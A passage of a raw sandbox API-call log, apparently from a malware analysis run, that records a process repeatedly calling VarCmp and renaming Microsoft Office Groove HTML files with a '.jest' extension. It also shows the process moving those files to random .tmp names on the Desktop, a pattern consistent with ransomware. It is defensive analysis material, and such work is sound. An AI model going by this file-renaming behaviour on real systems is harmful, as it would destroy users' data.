(pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.542] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0165.543] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.543] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.543] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.543] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.543] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.543] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.543] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.543] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.544] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.544] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0165.544] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0165.544] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0165.544] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0165.544] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0165.544] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.544] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0165.545] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.545] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.545] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.545] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.545] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.545] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0165.545] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0165.545] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0165.545] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0165.546] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0165.546] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0165.546] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0165.546] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0165.546] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0165.546] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.546] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.546] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.547] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.547] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.547] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.547] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.547] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.547] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.548] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.548] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.548] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.548] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.548] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.548] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.548] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.549] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.549] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.549] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.549] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.549] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.549] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.549] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.550] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.550] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.550] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.550] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0165.550] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0165.550] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.550] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.551] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.551] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.551] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.551] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.551] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.551] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.552] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.552] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.552] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.552] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.552] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.552] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.552] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.553] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.553] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.553] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.553] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.553] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.553] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.553] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x1 [0165.554] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱛ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.556] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0165.557] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsformtemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplate.html.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsformtemplate.html.jest")) returned 1 [0165.573] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e8d8) [0165.574] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0165.574] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0165.575] GetLocalTime (in: lpSystemTime=0x18e9d4 | out: lpSystemTime=0x18e9d4*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x33, wMilliseconds=0xdc)) [0165.575] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0165.575] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x33, wMilliseconds=0xdc)) [0165.575] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x33, wMilliseconds=0xdc)) [0165.575] GetUserDefaultLCID () returned 0x409 [0165.575] VarBstrFromR4 (in: fltIn=0x4794579c, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75951.22") returned 0x0 [0165.575] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0165.576] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsformtemplate.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\da2q7xOHsbVqGFWp5VeVVKOm i tv4591WFZc4R4XMMFoud1Cigf-mN30wWh9TU3yXgBLNMECcUpwczgcMfRTIF75XhyW27DVAyU.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\da2q7xohsbvqgfwp5vevvkom i tv4591wfzc4r4xmmfoud1cigf-mn30wwh9tu3yxgblnmeccupwczgcmfrtif75xhyw27dvayu.tmp")) returned 0 [0165.577] GetLastError () returned 0x2 [0165.577] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0165.577] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0165.577] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.578] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.578] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.578] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.578] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.578] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.578] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0165.579] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.579] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.579] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.579] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.579] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.579] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.579] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0165.579] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.580] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.580] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.580] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.582] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.582] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.583] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.583] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.583] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.583] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0165.583] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0165.583] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0165.583] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0165.583] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0165.583] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.584] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0165.584] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.584] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.584] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.584] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.584] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.584] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0165.584] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0165.585] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0165.585] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0165.585] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0165.585] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0165.585] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0165.585] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0165.585] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0165.585] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.585] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.586] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.586] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.586] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.586] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.586] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.586] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.586] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.586] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.587] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.587] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.587] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.588] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.588] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.588] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.588] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.589] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱟ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.589] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0165.590] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsHomePage.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formshomepage.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsHomePage.html.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formshomepage.html.jest")) returned 1 [0165.592] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e8d8) [0165.592] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0165.593] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0165.593] GetLocalTime (in: lpSystemTime=0x18e9d4 | out: lpSystemTime=0x18e9d4*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x33, wMilliseconds=0xfb)) [0165.593] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0165.593] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x33, wMilliseconds=0xfb)) [0165.593] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x33, wMilliseconds=0xfb)) [0165.593] GetUserDefaultLCID () returned 0x409 [0165.593] VarBstrFromR4 (in: fltIn=0x479457a0, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75951.25") returned 0x0 [0165.594] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0165.595] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsHomePage.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formshomepage.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Ur2I-XCoBq5RbthfdhEtO5SHwy4yJQQeMH4NIUDYt_p6nU1siRrXur-jKWEsO62GW_XVW 4fONgGWEqNEnfmT-kp7i1nJCISGinD.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ur2i-xcobq5rbthfdheto5shwy4yjqqemh4niudyt_p6nu1sirrxur-jkweso62gw_xvw 4fonggweqnenfmt-kp7i1njcisgind.tmp")) returned 0 [0165.595] GetLastError () returned 0x2 [0165.595] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0165.596] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0165.596] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱡ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.597] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0165.598] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsHomePage.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formshomepage.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsHomePage.html.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formshomepage.html.jest")) returned 1 [0165.601] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e8d8) [0165.602] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0165.602] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0165.603] GetLocalTime (in: lpSystemTime=0x18e9d4 | out: lpSystemTime=0x18e9d4*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x33, wMilliseconds=0x10b)) [0165.603] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0165.603] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x33, wMilliseconds=0x10b)) [0165.603] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x33, wMilliseconds=0x10b)) [0165.603] GetUserDefaultLCID () returned 0x409 [0165.603] VarBstrFromR4 (in: fltIn=0x479457a2, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75951.27") returned 0x0 [0165.603] 